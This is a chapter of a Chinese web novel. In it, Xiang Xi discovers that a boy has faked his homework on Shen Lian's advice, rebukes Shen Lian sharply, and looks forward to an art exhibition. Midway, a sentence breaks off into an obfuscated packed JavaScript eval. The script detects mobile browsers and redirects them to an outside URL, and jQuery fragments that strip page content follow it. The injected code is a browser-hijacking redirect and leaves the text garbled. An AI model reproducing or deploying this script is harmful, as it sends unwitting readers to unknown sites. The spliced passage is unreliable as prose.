小帅吓得手里薯片都不吃了。


    突然联想到什么的沈潋，对上小帅慌乱眼神的那一瞬，心里开始暗叫不好。


    小帅今天的作业正确率虽然不算高，但向希知道这是小帅的正常发挥，甚至它对比之前的还有进步，因为他刚刚写得极认真。


    但是翻回前面一页，笔下红笔连连画叉，从头到了尾，小帅连个判断题都没对。


    有没有认真写作业除了通过正确率看出来，卷面也行，比如题目有没有勾画、字有没有连笔，前后两页风格相差太大。


    向希一般只检查当天做的作业，所以小帅一点也没顾忌地找她改作业，哪想向希今天随性往前翻了翻，发现曲韶雅没改前面的，就想自己再帮个忙。


    现在好了，做的坏事儿全部被发现了。


    “怎么回事？”


    她还算温柔地问了问，结果小帅还是被吓得直接掉眼泪。


    上一次撒谎的后果仍旧历历在目。


    “我……我…….我……”，支吾着找不到借口。


    看看向希又看看沈潋，向希就是单纯动一下身子，他就被吓得大叫一声，跑到沈潋身后。


    “吓着他了。”


    沈潋把他护在身后，同样也在绞尽脑汁地想借口。


    “说不定他有……”什么理由。


    “有什么借口？”


    向希打断道。


    她继续翻动小帅的作业，现在完全能从页面风格上一眼辨出哪些是他认真写的，哪些是他胡乱做的，一连翻了好几页，都是白白净净只有答案的风格，看来这人乱写作业已然是惯犯了。


    小帅不是会耍小心眼的人，怎么会冒出乱写作业答案的想法。


    审视着前面两人，都在心思凌乱地挠头找借口，不敢直接说实话，只能用眼神怂恿对方揽下错误。


    沈潋：你自己的错误你自己认。


    小帅：大哥哥这是你教我的啊，呜啊啊啊啊！


    向希随即猜到些答案，她伸手越过小帅的位置拿走沈潋的作业。


    沈潋今天带的语文作业，阅读题里，问题是请分析开头在全文的作用，他答道：


    引出全文主题，向希还没原谅我。


    让他仿写一个比喻句，他写道：向希的心就像一块冰冷的石头，怎么也捂不热，怎么也不原谅我。


    密密麻麻两页纸题目都答满了，但没一个正确的。


    向希快点原谅我，怎么让向希原谅我的字眼遍布全篇。


    风格虽然和小帅不一样，但乱写作业这一点是雷同的。


    来不及护住作业的沈潋心是彻底跌倒谷底。


    “你教他的？”


    一大一小被问的浑身一震。


    “呜啊啊啊啊，希姐姐我错了。”


    向希知道自己猜对了，真正的导火索也知道自已又完蛋了。


    小帅想出去玩，必须在写完作业之后，沈潋给他出了一个馊主意，直接撒谎给曲韶雅说自己写完了不就可以溜下来了。


    曲韶雅一周检查一次作业，而且她才没有向希检查得这么仔细，翻一翻就过了，等到最后一天前后两页好好写，中间乱写不就可交差了。


    没想前两天曲邵雅突击检查发现了小帅撒谎，一顿爆炒。


    小帅好几天没写作业哪能那么快收心，曲韶雅坐在一边敲着戒尺吓人更没心思写，干脆继续沿用沈潋讲的“方法”中间乱写搞定。


    曲韶雅那天根本就没看他作业，因为小姐妹催麻将催得急，也笃定小帅不敢乱写，也就真让他糊弄过去了。


    哪想到这么快又被向希戳破。


    对上向希埋冤的眼神，沈潋心里叫苦连天。


    真是一波未平一波又起，这让他怎么道歉。


    下午三点的太阳最毒辣，空气里细小的尘埃被煎在半空乱跳，小帅嚎哭的那一瞬，向希心里的烦躁也跳到了极点。


    “怎么办啊大帅哥？”


    小帅还在求助出了两个馊主意的坏老师沈潋。


    沈潋自觉认错，“我错了，这馊主意我出的，我不该教他为了出来玩而撒谎，乱写作业。”


    向希骂道：“有你这样当哥哥的吗。”


    “好的不教尽教坏的，还自称大帅哥，哪里帅了？”


    “教他撒谎的样子不帅，让他把我骗过来的样子不帅，缠着我不放的样子更不帅，你不觉得自己很丢脸吗？”


    “丢脸！”


    沈潋被说得面红耳赤，高声承认道。


    “那是之前的我，我现在知道错了，我会想办法弥补的。”


    “怎么弥补？”向希抄手靠着椅背，道“再买束花写封道歉信就翻篇吗，哪儿那么容易。”


    沈潋感觉心像被针扎一般疼痛。


    果然腊梅终究不是向日葵，以为写的足够有诚心和动人是道歉信也终究是自以为。


    “那要怎么弥补？”他挣扎着问道。


    向希薄唇微启。


    “不可能弥补，永远不会翻篇。”


    “沈潋，我不知道你为什么要紧缠着我不放。如果是为初见那晚我把你抛在身后，你恨我，我只能说我自己倒霉，具体原因我懒得解释，因为现在我也很恨你，全天下最恨你。


    你一时任性摔碎我最重要的东西这事儿永远不可能在我这里翻篇，你不用费劲心思去想什么求原谅和弥补，只要离我远远的就好，我眼不见心不烦。”


    他们早就偏题了，本应该谈论的是沈潋教坏小帅的事情，向希借题发挥，把自己和沈潋的矛盾也摊开在明面上讲。


    以往他们是暗地里的拉扯，现在照在阳光下，却反衬着向希在沈潋心里更加薄凉和刻薄。


    但一切又真是他活该。


    他看似是个没心没肺洒脱任性的少爷，实则内心又有厚重的道德感和羞耻心。


    这一刻，向希对他过去所有弥补行为进行全盘否定，并且下达最后的通牒，想将他流放到千里之外。


    沈潋一句反驳也说不出口，向希是高高在上的审判者。


    “过去的事儿你我都别再提，大人面前我们体面着过，而后再无瓜葛。”


    他们只会是这样的结局，向希早定好了。


    沈潋低着头不说话了，小帅还在边上嚎哭，哭自己撒谎被发现，哭沈潋三次道歉挽不回向希一点原谅。


    两个他认为是世间顶好的朋友，闹成了世间最僵硬的关系。


    “就这样吧。”


    向希转身结束掉这个话题，她翻到小帅第一次开始乱写的那一页。


    “这件事我会告诉曲阿姨，希望你以后做个好哥哥别再带坏他。”


    然后用橡皮擦掉所有答案，她道：“你应该庆幸他们现在用的是铅笔写作业，乱写还能擦，今天你守着他把前面乱写的重新写好，二年级的题你应该都会。”


    沈潋推推小帅，他乖乖地坐回向希身边，吸溜这鼻涕，说他可以自己擦掉。


    向希又给了他一块橡皮带，两个人一个擦左边一个擦右边。


    “那你呢？”


    片刻后，沈潋暗淡着目光问道。


    他守着小帅，向希干什么呢。


    “我说过，我不想见到你。”


    当然是离开。


    向希陡然放下橡皮：“这都应该你来擦。”


    自己闯的祸事儿，自己来擦屁股。


    沈潋不想擦，因为她想向希多留一会儿。


    但向希不可能遂他愿。


    “你来擦，我走了。”


    又一次只留下背影让他欲语还休。


    沈潋走去垃圾桶边，找出被她揉成一团扔掉的画作。


    的确是两人对话的里的猪鼻子、驴耳朵，裂着一口獠牙，圆鼓鼓的乌龟身子滑稽又可爱，尾巴蜷缩成粑粑的形态，旁边四个大字。


    “来什么来！看什么看！”


    他抚平褶皱叠好，像


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344797|166665||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个珍宝一样放进衣服口袋。


    “大帅哥，现在怎么办，希姐姐要告诉我妈妈。”小帅冒着鼻涕泡问道。


    沈潋摸摸他头，“我们诚实认错，努力弥补。”


    “可是你这么努力去求向希姐姐原谅，她还是很恨你。”小帅害怕着。


    沈潋劝慰道：“那是因为哥哥犯得错误太大了，你这个是可以修复的。”


    铅笔写错了可以擦掉，东西碎了怎么拼也有裂缝，这两个不能相提并论。


    “是哥哥错在先带坏了你，我们一起向妈妈承认错误好不好。”


    小帅思忖了一番，点点头。


    “嗯。”


    “大帅哥你以后不准再教我做坏事儿了，太丢脸了。”


    小孩子也有羞耻心，向希骂沈潋时，小帅在边上也是臊得不行。


    他在向希眼里乖宝宝的形象肯定也没了。


    沈潋举起手。


    “我沈潋发毒誓，真么丢脸的事儿我往后不可能再犯第二次，不然天打五雷轰。”


    小帅也举起来。


    “我马奇帅也发毒誓，往后不再犯，不然以后买零食全空包。”


    两人相视一笑。


    “行了，写作业吧，我守着你，不会随便问你哥。”沈潋坐回座位。


    “哥你也得认真写，你看你写的页数还没我多。”小帅被鼓舞完士气，斗志昂扬。


    “哥速度快着呢，马上就赶超你。”


    “行啊，我等着，你可不准乱写。”


    两人笑过刚才的风云，呛着嘴走进作业的地狱。


    但是有兄弟在一边共患难，没人觉得作业苦了。


    向希回到家，打开灯又坐回了阳台的摇椅上。


    此时的太阳还是那么灿烂，跟着清风抚摸着小菜园的青菜，荡漾出冬天没有的鲜活与生机。


    一通电话响来，是明天邀请向希随她一起看展的老师详细通知她第二天的安排。


    “在干嘛呢小希？”


    “林老师好，我现在阳台上休息。”


    “是午休吗？没打扰你的美梦吧。”


    向希笑笑，“没呢，今天没什么困意”


    她有午休的习惯，不过如果她睡前有烦心事，总是会做恶梦，向希今天也就没这打算。


    “好，那我现在就讲讲我们明天的安排。”


    “早上六点半我来小区门口接你，展是九点开，但我们是工作人员可以提前进去。到时候我们先去见见我老师，聊聊天，你要不想可以直接自己去看展了，趁着人少，还清净，最适合赏画。


    下午有个名师分享会，你可以去听听，没位置你坐工作人员席报我名字，我作为老师徒弟会带些展客讲解图画，你想听也能来，但大多是课上讲过的，只有两三幅新的。”


    “我上午去看画，看完来找老师好吗？”向希道。


    这展不在清风巷，在隔壁区县里，这次会展出很多大师的作品，林艺的老师就是大师之一，不然向希也没这机会跑去远地看展。


    林艺很随和，答道：“可以。”


    两人又交流了点具体细节，挂断电话后，一扫刚刚矛盾下的烦躁，向希现在只有期待和欣喜。


    向希没去看过展，每次文化宫的老师都是把大师们的杰作放在电子屏上给他们看，要和无数个让自己惊叹的真迹相见了，她感叹最近终于有了一件能让她感到幸福的事儿。


    都怪沈潋。


    如果没他，她的日子谈不上幸福，也能平平淡淡地过着，没什么烦恼。


    不过现在肯定是解决完了，她放了那么狠的话，沈潋不至于这么不要脸地还来纠缠她吧。


    也算是好事儿成双。


    向希决定今晚去外面吃一顿，也解放一下双手。


    没想到在悠哉悠哉吃着火锅串串时，沈潋又突然从天而降。喘着气，冒着汗，扰乱了她的一片安宁。


    “小帅不见了。”